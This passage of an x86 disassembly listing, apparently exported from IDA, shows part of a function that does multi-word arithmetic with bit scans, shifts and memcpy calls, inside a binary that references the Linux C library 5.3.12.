		inc	[ebp+var_5C]
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jnz	short loc_8053624
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+20h], 0
		jz	loc_8054C18
		test	esi, esi
		jle	loc_8054C18
		push	esi
		push	20h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_8062534
		mov	ebx, eax
		cmp	ebx, esi
		jnz	loc_8054BD6
		add	[ebp+var_5C], esi
		jmp	loc_8054C18
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80536C4:				; CODE XREF: sub_8053310+21Aj
		mov	esi, [ebp+var_18]
		test	esi, esi
		jge	short loc_80536CD
		neg	esi

loc_80536CD:				; CODE XREF: sub_8053310+3B9j
		add	esi, 1Fh
		mov	ebx, esi
		jns	short loc_80536D7
		lea	ebx, [esi+1Fh]

loc_80536D7:				; CODE XREF: sub_8053310+3C2j
		mov	eax, ebx
		sar	eax, 5
		lea	eax, ds:10h[eax*4]
		sub	esp, eax
		mov	[ebp+var_20], esp
		sub	esp, eax
		mov	[ebp+var_30], esp
		sub	esp, eax
		mov	[ebp+var_2C], esp
		mov	[ebp+var_1C], 0
		cmp	[ebp+var_18], 2
		jle	loc_8053F0C
		xor	edi, edi
		mov	[ebp+var_60], 0Ch
		mov	[ebp+var_64], 0
		mov	[ebp+var_68], offset a@TheLinuxCLibr ; "@(#) The Linux C library 5.3.12"
		mov	edx, [ebp+var_58]
		add	edx, [ebp+var_18]
		mov	[ebp+var_A0], edx
		test	dl, 1Fh
		jnz	loc_8053928
		mov	ecx, [ebp+var_24]
		dec	ecx
		mov	[ebp+var_A4], ecx
		js	loc_8053912
		lea	ebx, ds:0[ecx*4]
		not	ecx
		mov	esi, ecx
		and	esi, 3
		cmp	[ebp+var_A4], 0FFFFFFFFh
		jle	short loc_80537C8
		test	esi, esi
		jz	loc_8053800
		cmp	esi, 3
		jge	short loc_80537C8
		cmp	esi, 2
		jge	short loc_8053799
		mov	esi, [ebp+var_A0]
		test	esi, esi
		jge	short loc_8053775
		add	esi, 1Fh

loc_8053775:				; CODE XREF: sub_8053310+460j
		sar	esi, 5
		mov	[ebp+var_9C], esi
		lea	eax, [ebx+esi*4]
		add	eax, [ebp+var_20]
		mov	edx, [ebp+var_A4]
		mov	edx, [ebp+edx*4+var_44]
		mov	[eax], edx
		add	ebx, 0FFFFFFFCh
		dec	[ebp+var_A4]

loc_8053799:				; CODE XREF: sub_8053310+456j
		mov	esi, [ebp+var_58]
		add	esi, [ebp+var_18]
		jns	short loc_80537A4
		add	esi, 1Fh

loc_80537A4:				; CODE XREF: sub_8053310+48Fj
		sar	esi, 5
		mov	[ebp+var_9C], esi
		lea	ecx, [ebx+esi*4]
		add	ecx, [ebp+var_20]
		mov	eax, [ebp+var_A4]
		mov	eax, [ebp+eax*4+var_44]
		mov	[ecx], eax
		add	ebx, 0FFFFFFFCh
		dec	[ebp+var_A4]

loc_80537C8:				; CODE XREF: sub_8053310+444j
					; sub_8053310+451j
		mov	esi, [ebp+var_58]
		add	esi, [ebp+var_18]
		jns	short loc_80537D3
		add	esi, 1Fh

loc_80537D3:				; CODE XREF: sub_8053310+4BEj
		sar	esi, 5
		mov	[ebp+var_9C], esi
		lea	edx, [ebx+esi*4]
		add	edx, [ebp+var_20]
		mov	ecx, [ebp+var_A4]
		mov	ecx, [ebp+ecx*4+var_44]
		mov	[edx], ecx
		add	ebx, 0FFFFFFFCh
		dec	[ebp+var_A4]
		js	loc_8053912
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8053800:				; CODE XREF: sub_8053310+448j
					; sub_8053310+5FCj
		mov	esi, [ebp+var_58]
		add	esi, [ebp+var_18]
		jns	short loc_805380B
		add	esi, 1Fh

loc_805380B:				; CODE XREF: sub_8053310+4F6j
		sar	esi, 5
		mov	[ebp+var_9C], esi
		lea	eax, [ebx+esi*4]
		add	eax, [ebp+var_20]
		mov	edx, [ebp+var_A4]
		mov	edx, [ebp+edx*4+var_44]
		mov	[eax], edx
		lea	ecx, [ebx-4]
		mov	[ebp+var_A0], ecx
		mov	esi, [ebp+var_A4]
		dec	esi
		mov	eax, [ebp+var_58]
		add	eax, [ebp+var_18]
		mov	[ebp+var_9C], eax
		jns	short loc_805384D
		add	eax, 1Fh
		mov	[ebp+var_9C], eax

loc_805384D:				; CODE XREF: sub_8053310+532j
		mov	edx, [ebp+var_9C]
		sar	edx, 5
		mov	ecx, [ebp+var_A0]
		lea	ecx, [ecx+edx*4]
		add	ecx, [ebp+var_20]
		mov	esi, [ebp+esi*4+var_44]
		mov	[ebp+var_150], esi
		mov	[ecx], esi
		lea	eax, [ebx-8]
		mov	[ebp+var_A0], eax
		mov	esi, [ebp+var_A4]
		add	esi, 0FFFFFFFEh
		mov	edx, [ebp+var_58]
		add	edx, [ebp+var_18]
		mov	[ebp+var_9C], edx
		jns	short loc_8053897
		add	edx, 1Fh
		mov	[ebp+var_9C], edx

loc_8053897:				; CODE XREF: sub_8053310+57Cj
		mov	ecx, [ebp+var_9C]
		sar	ecx, 5
		mov	eax, [ebp+var_A0]
		lea	eax, [eax+ecx*4]
		add	eax, [ebp+var_20]
		mov	esi, [ebp+esi*4+var_44]
		mov	[ebp+var_154], esi
		mov	[eax], esi
		lea	edx, [ebx-0Ch]
		mov	[ebp+var_A0], edx
		mov	esi, [ebp+var_A4]
		add	esi, 0FFFFFFFDh
		mov	ecx, [ebp+var_58]
		add	ecx, [ebp+var_18]
		mov	[ebp+var_9C], ecx
		jns	short loc_80538E1
		add	ecx, 1Fh
		mov	[ebp+var_9C], ecx

loc_80538E1:				; CODE XREF: sub_8053310+5C6j
		mov	eax, [ebp+var_9C]
		sar	eax, 5
		mov	edx, [ebp+var_A0]
		lea	edx, [edx+eax*4]
		add	edx, [ebp+var_20]
		mov	esi, [ebp+esi*4+var_44]
		mov	[ebp+var_158], esi
		mov	[edx], esi
		add	ebx, 0FFFFFFF0h
		add	[ebp+var_A4], 0FFFFFFFCh
		jns	loc_8053800

loc_8053912:				; CODE XREF: sub_8053310+429j
					; sub_8053310+4E7j
		mov	ebx, [ebp+var_58]
		add	ebx, [ebp+var_18]
		jns	short loc_805391D
		add	ebx, 1Fh

loc_805391D:				; CODE XREF: sub_8053310+608j
		mov	eax, ebx
		sar	eax, 5
		add	[ebp+var_24], eax
		jmp	short loc_8053999
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053928:				; CODE XREF: sub_8053310+419j
		mov	ebx, [ebp+var_58]
		add	ebx, [ebp+var_18]
		mov	esi, ebx
		jns	short loc_8053935
		lea	esi, [ebx+1Fh]

loc_8053935:				; CODE XREF: sub_8053310+620j
		mov	eax, esi
		and	al, 0E0h
		sub	ebx, eax
		mov	eax, ebx
		push	eax
		mov	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		mov	ebx, [ebp+var_58]
		add	ebx, [ebp+var_18]
		jns	short loc_8053951
		add	ebx, 1Fh

loc_8053951:				; CODE XREF: sub_8053310+63Cj
		mov	eax, ebx
		sar	eax, 5
		shl	eax, 2
		add	eax, [ebp+var_20]
		push	eax
		call	sub_8058710
		mov	[ebp+var_28], eax
		mov	ebx, [ebp+var_58]
		add	ebx, [ebp+var_18]
		jns	short loc_8053970
		add	ebx, 1Fh

loc_8053970:				; CODE XREF: sub_8053310+65Bj
		mov	eax, ebx
		sar	eax, 5
		add	[ebp+var_24], eax
		add	esp, 10h
		cmp	[ebp+var_28], 0
		jz	short loc_8053999
		mov	ecx, [ebp+var_24]
		shl	ecx, 2
		mov	[ebp+var_A4], ecx
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_20]
		mov	[edx+ecx], eax
		inc	[ebp+var_24]

loc_8053999:				; CODE XREF: sub_8053310+615j
					; sub_8053310+66Fj
		mov	[ebp+var_A4], 0
		mov	ebx, [ebp+var_20]
		mov	[ebp+var_A0], 0

loc_80539B0:				; CODE XREF: sub_8053310+6D4j
		mov	esi, [ebp+var_58]
		add	esi, [ebp+var_18]
		jns	short loc_80539BB
		add	esi, 1Fh

loc_80539BB:				; CODE XREF: sub_8053310+6A6j
		mov	eax, esi
		sar	eax, 5
		cmp	[ebp+var_A4], eax
		jge	short loc_80539E8
		mov	ecx, [ebp+var_A0]
		mov	dword ptr [ebx+ecx], 0
		add	ecx, 4
		mov	[ebp+var_A0], ecx
		inc	[ebp+var_A4]
		jmp	short loc_80539B0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80539E8:				; CODE XREF: sub_8053310+6B6j
		mov	esi, [ebp+var_68]
		add	esi, 4
		lea	esi, [esi]

loc_80539F0:				; CODE XREF: sub_8053310+7D9j
		add	esi, 0FFFFFFF0h
		add	[ebp+var_68], 0FFFFFFF0h
		mov	eax, edi
		add	eax, [esi+4]
		dec	eax
		cmp	[ebp+var_18], eax
		jl	loc_8053ADF
		cmp	[ebp+var_1C], 0
		jnz	short loc_8053A2C
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_68]
		mov	edx, [edx]
		mov	ebx, [esi]
		lea	ecx, ds:0[ebx*4]
		push	ecx
		push	edx
		push	eax
		call	memcpy
		add	esp, 0Ch
		jmp	short loc_8053A6A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8053A2C:				; CODE XREF: sub_8053310+6FAj
		mov	eax, [esi]
		add	eax, 0FFFFFFFEh
		push	eax
		mov	edx, [ebp+var_68]
		mov	edx, [edx]
		add	edx, 8
		push	edx
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	eax, [ebp+var_2C]
		push	eax
		mov	edx, [ebp+var_30]
		push	edx
		call	sub_805876C
		mov	[ebp+var_A4], eax
		mov	[ebp+var_28], eax
		mov	ebx, [ebp+var_1C]
		add	ebx, [esi]
		add	ebx, 0FFFFFFFEh
		add	esp, 14h
		cmp	[ebp+var_A4], 0
		jnz	short loc_8053A6A
		dec	ebx

loc_8053A6A:				; CODE XREF: sub_8053310+718j
					; sub_8053310+757j
		cmp	[ebp+var_24], ebx
		jg	short loc_8053A86
		jnz	short loc_8053ADF
		push	ebx
		mov	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_8057F48
		add	esp, 0Ch
		test	eax, eax
		jl	short loc_8053ADF

loc_8053A86:				; CODE XREF: sub_8053310+75Dj
		mov	ecx, [ebp+var_2C]
		mov	eax, [ebp+var_30]
		mov	[ebp+var_1C], ebx
		shl	ebx, 2
		mov	[ebp+var_9C], ebx
		push	ebx
		push	eax
		push	ecx
		call	memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_1C]
		shl	edx, 2
		mov	[ebp+var_9C], edx
		add	edx, [ebp+var_2C]
		add	edx, 0FFFFFFFCh
		bsr	ecx, [edx]
		mov	edi, [ebp+var_1C]
		add	edi, 0FFFFFFFEh
		shl	edi, 5
		mov	[ebp+var_A0], edi
		mov	edi, ecx
		xor	edi, 0FFFFFFE0h
		add	edi, [ebp+var_A0]
		mov	eax, 1
		mov	ecx, [ebp+var_60]
		shl	eax, cl
		or	[ebp+var_64], eax

loc_8053ADF:				; CODE XREF: sub_8053310+6F0j
					; sub_8053310+75Fj ...
		dec	[ebp+var_60]
		cmp	[ebp+var_68], offset off_8068DAC
		ja	loc_80539F0
		mov	edx, [ebp+var_64]
		mov	[ebp+var_18], edx
		cmp	[ebp+var_1C], 0
		jle	loc_80543D0
		xor	edi, edi
		mov	esi, [ebp+var_2C]
		cmp	dword ptr [esi], 0
		jnz	short loc_8053B46
		mov	ebx, [ebp+var_20]
		cmp	dword ptr [ebx], 0
		jnz	short loc_8053B46
		mov	edi, 1
		cmp	dword ptr [esi+4], 0
		jnz	short loc_8053B46
		cmp	dword ptr [ebx+4], 0
		jnz	short loc_8053B46
		mov	[ebp+var_A4], esi
		mov	esi, ebx
		mov	ebx, 4
		nop

loc_8053B30:				; CODE XREF: sub_8053310+834j
		add	ebx, 4
		inc	edi
		mov	ecx, [ebp+var_A4]
		cmp	dword ptr [ecx+ebx], 0
		jnz	short loc_8053B46
		cmp	dword ptr [esi+ebx], 0
		jz	short loc_8053B30

loc_8053B46:				; CODE XREF: sub_8053310+7F7j
					; sub_8053310+7FFj ...
		mov	eax, [ebp+var_1C]
		shl	eax, 2
		mov	[ebp+var_9C], eax
		add	eax, [ebp+var_2C]
		add	eax, 0FFFFFFFCh
		bsr	edx, [eax]
		mov	ebx, edx
		xor	bl, 1Fh
		test	ebx, ebx
		jnz	loc_8053D88
		test	edi, edi
		jle	loc_80543D0
		mov	ecx, [ebp+var_1C]
		sub	ecx, edi
		mov	[ebp+var_9C], ecx
		cmp	ebx, ecx
		jge	loc_8053C75
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_A4], eax
		lea	edx, ds:0[edi*4]
		mov	[ebp+var_A0], edx
		xor	ebx, ebx
		lea	esi, ds:0[ecx*4]
		and	ecx, 3
		mov	[ebp+var_9C], ecx
		jz	short loc_8053C0A
		cmp	ecx, 1
		jle	short loc_8053BE8
		cmp	ecx, 2
		jle	short loc_8053BCA
		add	edx, [ebp+var_2C]
		mov	ecx, [edx]
		mov	[eax], ecx
		add	[ebp+var_A0], 4
		mov	ebx, 4

loc_8053BCA:				; CODE XREF: sub_8053310+8A5j
		mov	eax, [ebp+var_A0]
		add	eax, [ebp+var_2C]
		mov	edx, [eax]
		mov	ecx, [ebp+var_A4]
		mov	[ecx+ebx], edx
		add	[ebp+var_A0], 4
		add	ebx, 4

loc_8053BE8:				; CODE XREF: sub_8053310+8A0j
		mov	eax, [ebp+var_A0]
		add	eax, [ebp+var_2C]
		mov	edx, [eax]
		mov	ecx, [ebp+var_A4]
		mov	[ecx+ebx], edx
		add	[ebp+var_A0], 4
		add	ebx, 4
		cmp	ebx, esi
		jz	short loc_8053C75

loc_8053C0A:				; CODE XREF: sub_8053310+89Bj
		mov	eax, [ebp+var_A4]
		add	eax, ebx
		mov	[ebp+var_A4], eax

loc_8053C18:				; CODE XREF: sub_8053310+963j
		mov	edx, [ebp+var_A0]
		add	edx, [ebp+var_2C]
		mov	ecx, [edx]
		mov	eax, [ebp+var_A4]
		mov	[eax], ecx
		mov	edx, [ebp+var_A0]
		add	edx, [ebp+var_2C]
		mov	ecx, [edx+4]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_A0]
		add	eax, [ebp+var_2C]
		mov	edx, [eax+8]
		mov	ecx, [ebp+var_A4]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_A0]
		add	eax, [ebp+var_2C]
		mov	edx, [eax+0Ch]
		mov	[ecx+0Ch], edx
		add	[ebp+var_A0], 10h
		add	ecx, 10h
		mov	[ebp+var_A4], ecx
		add	ebx, 10h
		cmp	ebx, esi
		jnz	short loc_8053C18

loc_8053C75:				; CODE XREF: sub_8053310+86Dj
					; sub_8053310+8F8j
		sub	[ebp+var_1C], edi
		mov	ecx, [ebp+var_24]
		sub	ecx, edi
		mov	[ebp+var_9C], ecx
		test	ecx, ecx
		jle	loc_8053D7D
		mov	eax, [ebp+var_20]
		mov	[ebp+var_A4], eax
		lea	edx, ds:0[edi*4]
		mov	[ebp+var_A0], edx
		xor	ebx, ebx
		lea	esi, ds:0[ecx*4]
		and	ecx, 3
		mov	[ebp+var_9C], ecx
		jz	short loc_8053D12
		cmp	ecx, 1
		jle	short loc_8053CF0
		cmp	ecx, 2
		jle	short loc_8053CD2
		add	edx, [ebp+var_20]
		mov	ecx, [edx]
		mov	[eax], ecx
		add	[ebp+var_A0], 4
		mov	ebx, 4

loc_8053CD2:				; CODE XREF: sub_8053310+9ADj
		mov	eax, [ebp+var_A0]
		add	eax, [ebp+var_20]
		mov	edx, [eax]
		mov	ecx, [ebp+var_A4]
		mov	[ecx+ebx], edx
		add	[ebp+var_A0], 4
		add	ebx, 4

loc_8053CF0:				; CODE XREF: sub_8053310+9A8j
		mov	eax, [ebp+var_A0]
		add	eax, [ebp+var_20]
		mov	edx, [eax]
		mov	ecx, [ebp+var_A4]
		mov	[ecx+ebx], edx
		add	[ebp+var_A0], 4
		add	ebx, 4
		cmp	ebx, esi
		jz	short loc_8053D7D

loc_8053D12:				; CODE XREF: sub_8053310+9A3j
		mov	eax, [ebp+var_A4]
		add	eax, ebx
		mov	[ebp+var_A4], eax

loc_8053D20:				; CODE XREF: sub_8053310+A6Bj
		mov	edx, [ebp+var_A0]
		add	edx, [ebp+var_20]
		mov	ecx, [edx]
		mov	eax, [ebp+var_A4]
		mov	[eax], ecx
		mov	edx, [ebp+var_A0]
		add	edx, [ebp+var_20]
		mov	ecx, [edx+4]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_A0]
		add	eax, [ebp+var_20]
		mov	edx, [eax+8]
		mov	ecx, [ebp+var_A4]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_A0]
		add	eax, [ebp+var_20]
		mov	edx, [eax+0Ch]
		mov	[ecx+0Ch], edx
		add	[ebp+var_A0], 10h
		add	ecx, 10h
		mov	[ebp+var_A4], ecx
		add	ebx, 10h
		cmp	ebx, esi
		jnz	short loc_8053D20

loc_8053D7D:				; CODE XREF: sub_8053310+975j
					; sub_8053310+A00j
		sub	[ebp+var_24], edi
		jmp	loc_80543D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8053D88:				; CODE XREF: sub_8053310+852j
		lea	esi, ds:0[edi*4]
		mov	ecx, [ebp+var_2C]
		mov	[ebp+var_A4], ecx
		cmp	dword ptr [ecx+esi], 0
		jz	short loc_8053DC8
		bsf	eax, [ecx+esi]
		mov	[ebp+var_A0], eax
		mov	edx, [ebp+var_20]
		mov	[ebp+var_A4], edx
		cmp	dword ptr [edx+esi], 0
		jz	short loc_8053DDC
		bsf	esi, [edx+esi]
		cmp	esi, eax
		jge	short loc_8053DDC
		mov	[ebp+var_A0], esi
		jmp	short loc_8053DDC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053DC8:				; CODE XREF: sub_8053310+A8Cj
		lea	ecx, ds:0[edi*4]
		mov	eax, [ebp+var_20]
		bsf	eax, [eax+ecx]
		mov	[ebp+var_A0], eax

loc_8053DDC:				; CODE XREF: sub_8053310+AA5j
					; sub_8053310+AADj ...
		test	edi, edi
		jnz	short loc_8053E38
		mov	eax, 20h
		sub	eax, ebx
		cmp	[ebp+var_A0], eax
		jge	short loc_8053E47
		push	ebx
		mov	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_2C]
		push	eax
		push	eax
		call	sub_8058710
		push	ebx
		mov	eax, [ebp+var_24]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		push	eax
		call	sub_8058710
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		add	esp, 20h
		test	ebx, ebx
		jz	loc_80543D0
		mov	edx, [ebp+var_24]
		shl	edx, 2
		mov	[ebp+var_A0], edx
		mov	ecx, [ebp+var_20]
		mov	[ecx+edx], ebx
		inc	[ebp+var_24]
		jmp	loc_80543D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053E38:				; CODE XREF: sub_8053310+ACEj
		mov	eax, 20h
		sub	eax, ebx
		cmp	[ebp+var_A0], eax
		jl	short loc_8053EA4

loc_8053E47:				; CODE XREF: sub_8053310+ADDj
		mov	esi, 20h
		sub	esi, ebx
		push	esi
		mov	eax, [ebp+var_1C]
		sub	eax, edi
		push	eax
		lea	ebx, ds:0[edi*4]
		mov	eax, ebx
		add	eax, [ebp+var_2C]
		push	eax
		mov	eax, [ebp+var_2C]
		push	eax
		call	sub_8059FB0
		mov	eax, [ebp+var_1C]
		dec	eax
		sub	eax, edi
		mov	[ebp+var_1C], eax
		push	esi
		mov	eax, [ebp+var_24]
		sub	eax, edi
		push	eax
		add	ebx, [ebp+var_20]
		push	ebx
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_8059FB0
		add	esp, 20h
		mov	eax, [ebp+var_24]
		sub	eax, edi
		shl	eax, 2
		add	eax, [ebp+var_20]
		cmp	dword ptr [eax-4], 0
		jnz	short loc_8053EFC
		mov	ebx, [ebp+var_24]
		dec	ebx
		jmp	short loc_8053EFF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8053EA4:				; CODE XREF: sub_8053310+B35j
		mov	esi, 20h
		sub	esi, ebx
		push	esi
		mov	eax, [ebp+var_1C]
		inc	eax
		sub	eax, edi
		push	eax
		lea	ebx, ds:0FFFFFFFCh[edi*4]
		mov	eax, ebx
		add	eax, [ebp+var_2C]
		push	eax
		mov	eax, [ebp+var_2C]
		push	eax
		call	sub_8059FB0
		sub	[ebp+var_1C], edi
		push	esi
		mov	eax, [ebp+var_24]
		inc	eax
		sub	eax, edi
		push	eax
		add	ebx, [ebp+var_20]
		push	ebx
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_8059FB0
		add	esp, 20h
		mov	eax, [ebp+var_24]
		inc	eax
		mov	ebx, eax
		sub	ebx, edi
		lea	eax, ds:0[ebx*4]
		add	eax, [ebp+var_20]
		cmp	dword ptr [eax-4], 0
		jnz	short loc_8053F01

loc_8053EFC:				; CODE XREF: sub_8053310+B8Aj
		mov	ebx, [ebp+var_24]

loc_8053EFF:				; CODE XREF: sub_8053310+B90j
		sub	ebx, edi

loc_8053F01:				; CODE XREF: sub_8053310+BEAj
		mov	[ebp+var_24], ebx
		jmp	loc_80543D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8053F0C:				; CODE XREF: sub_8053310+3EDj
		cmp	[ebp+var_18], 0
		jge	loc_8054394
		mov	[ebp+var_6C], 0
		mov	[ebp+var_70], 0Ch
		mov	[ebp+var_74], offset a@TheLinuxCLibr ; "@(#) The Linux C library 5.3.12"
		mov	eax, [ebp+var_58]
		push	eax
		mov	edx, [ebp+var_24]
		push	edx
		lea	ecx, [ebp+var_44]
		push	ecx
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_8058710
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		mov	edx, [ebp+var_24]
		shl	edx, 2
		mov	[ebp+var_A0], edx
		mov	ecx, [ebp+var_20]
		mov	[ecx+edx], ebx
		inc	[ebp+var_24]
		mov	[ebp+var_10], 1
		neg	[ebp+var_18]
		add	esp, 10h
		mov	[ebp+var_98], 8068E80h
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8053F74:				; CODE XREF: sub_8053310+FD6j
		add	[ebp+var_98], 0FFFFFFF0h
		add	[ebp+var_74], 0FFFFFFF0h
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_98]
		cmp	[eax+8], edx
		jg	loc_80542D6
		mov	ebx, [eax]
		add	ebx, 0FFFFFFFEh
		cmp	[ebp+var_24], ebx
		jge	short loc_8053FB4
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	eax, [ebp+var_20]
		push	eax
		push	ebx
		mov	edx, [ebp+var_74]
		mov	edx, [edx]
		add	edx, 8
		push	edx
		mov	ecx, [ebp+var_30]
		push	ecx
		jmp	short loc_8053FD5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053FB4:				; CODE XREF: sub_8053310+C89j
		mov	eax, [ebp+var_98]
		mov	eax, [eax]
		add	eax, 0FFFFFFFEh
		push	eax
		mov	edx, [ebp+var_74]
		mov	edx, [edx]
		add	edx, 8
		push	edx
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	eax, [ebp+var_20]
		push	eax
		mov	edx, [ebp+var_30]
		push	edx

loc_8053FD5:				; CODE XREF: sub_8053310+CA1j
		call	sub_805876C
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		add	esp, 14h
		mov	ebx, [ebp+var_24]
		mov	ecx, [ebp+var_98]
		add	ebx, [ecx]
		add	ebx, 0FFFFFFFEh
		cmp	[ebp+var_28], 0
		jnz	short loc_8053FF7
		dec	ebx

loc_8053FF7:				; CODE XREF: sub_8053310+CE4j
		lea	eax, ds:0[ebx*4]
		add	eax, [ebp+var_30]
		add	eax, 0FFFFFFFCh
		bsr	eax, [eax]
		mov	esi, eax
		xor	esi, 1Fh
		mov	edi, ebx
		sub	edi, [ebp+var_24]
		mov	edx, edi
		shl	edx, 5
		lea	eax, [esi-1Fh]
		mov	edi, edx
		sub	edi, eax
		mov	eax, [ebp+var_18]
		add	eax, 3
		cmp	edi, eax
		jnz	short loc_805406D
		cmp	esi, 1Ch
		jg	short loc_8054048
		mov	[ebp+var_4C], 0
		mov	eax, 1Ch
		sub	eax, esi
		mov	ecx, eax
		mov	eax, 0Ah
		shl	eax, cl
		mov	[ebp+var_48], eax
		jmp	short loc_805406D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054048:				; CODE XREF: sub_8053310+D1Aj
		mov	[ebp+var_4C], 0A0000000h
		mov	[ebp+var_48], 0
		mov	eax, 20h
		sub	eax, esi
		push	eax
		push	2
		lea	eax, [ebp+var_4C]
		push	eax
		push	eax
		call	sub_8058710
		add	esp, 10h

loc_805406D:				; CODE XREF: sub_8053310+D15j
					; sub_8053310+D36j
		mov	edx, [ebp+var_18]
		add	edx, 3
		mov	[ebp+var_A4], edx
		cmp	edi, edx
		jl	short loc_80540B3
		jnz	loc_80542D6
		lea	ecx, ds:0[ebx*4]
		add	ecx, [ebp+var_30]
		mov	[ebp+var_A4], ecx
		mov	eax, [ecx-4]
		mov	[ebp+var_A0], eax
		cmp	[ebp+var_48], eax
		ja	short loc_80540B3
		jnz	loc_80542D6
		mov	edx, [ecx-8]
		cmp	[ebp+var_4C], edx
		jbe	loc_80542D6

loc_80540B3:				; CODE XREF: sub_8053310+D6Bj
					; sub_8053310+D8Fj
		sub	[ebp+var_18], edi
		mov	eax, 1
		mov	ecx, [ebp+var_70]
		shl	eax, cl
		or	[ebp+var_6C], eax
		cmp	[ebp+var_18], 0
		jge	short loc_80540CC
		sub	esi, [ebp+var_18]

loc_80540CC:				; CODE XREF: sub_8053310+DB7j
		xor	edi, edi
		mov	eax, [ebp+var_30]
		mov	[ebp+var_A4], eax
		cmp	dword ptr [eax], 0
		jnz	short loc_8054106
		mov	[ebp+var_A0], eax
		mov	[ebp+var_A4], 0

loc_80540EC:				; CODE XREF: sub_8053310+DF4j
		add	[ebp+var_A4], 4
		inc	edi
		mov	edx, [ebp+var_A4]
		mov	ecx, [ebp+var_A0]
		cmp	dword ptr [ecx+edx], 0
		jz	short loc_80540EC

loc_8054106:				; CODE XREF: sub_8053310+DCAj
		cmp	esi, 1Fh
		jnz	loc_8054234
		mov	eax, ebx
		sub	eax, edi
		mov	[ebp+var_9C], eax
		test	eax, eax
		jle	loc_8054229
		mov	edx, [ebp+var_20]
		mov	[ebp+var_A4], edx
		lea	ecx, ds:0[edi*4]
		mov	[ebp+var_A0], ecx
		xor	esi, esi
		shl	eax, 2
		mov	[ebp+var_94], eax
		mov	edx, [ebp+var_9C]
		and	edx, 3
		mov	[ebp+var_9C], edx
		jz	short loc_80541BA
		cmp	edx, 1
		jle	short loc_8054194
		cmp	edx, 2
		jle	short loc_8054176
		add	ecx, [ebp+var_30]
		mov	ecx, [ecx]
		mov	eax, [ebp+var_A4]
		mov	[eax], ecx
		add	[ebp+var_A0], 4
		mov	esi, 4

loc_8054176:				; CODE XREF: sub_8053310+E4Bj
		mov	edx, [ebp+var_A0]
		add	edx, [ebp+var_30]
		mov	ecx, [edx]
		mov	eax, [ebp+var_A4]
		mov	[eax+esi], ecx
		add	[ebp+var_A0], 4
		add	esi, 4

loc_8054194:				; CODE XREF: sub_8053310+E46j
		mov	edx, [ebp+var_A0]
		add	edx, [ebp+var_30]
		mov	ecx, [edx]
		mov	eax, [ebp+var_A4]
		mov	[eax+esi], ecx
		add	[ebp+var_A0], 4
		add	esi, 4
		cmp	[ebp+var_94], esi
		jz	short loc_8054229

loc_80541BA:				; CODE XREF: sub_8053310+E41j
		mov	edx, [ebp+var_A4]
		add	edx, esi
		mov	[ebp+var_A4], edx

loc_80541C8:				; CODE XREF: sub_8053310+F17j
		mov	ecx, [ebp+var_A0]
		add	ecx, [ebp+var_30]
		mov	eax, [ecx]
		mov	edx, [ebp+var_A4]
		mov	[edx], eax
		mov	ecx, [ebp+var_A0]
		add	ecx, [ebp+var_30]
		mov	eax, [ecx+4]
		mov	[edx+4], eax
		mov	edx, [ebp+var_A0]
		add	edx, [ebp+var_30]
		mov	ecx, [edx+8]
		mov	eax, [ebp+var_A4]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_A0]
		add	edx, [ebp+var_30]
		mov	ecx, [edx+0Ch]
		mov	[eax+0Ch], ecx
		add	[ebp+var_A0], 10h
		add	eax, 10h
		mov	[ebp+var_A4], eax
		add	esi, 10h
		cmp	[ebp+var_94], esi
		jnz	short loc_80541C8

loc_8054229:				; CODE XREF: sub_8053310+E0Bj
					; sub_8053310+EA8j
		sub	ebx, edi
		mov	[ebp+var_24], ebx
		jmp	loc_80542D6
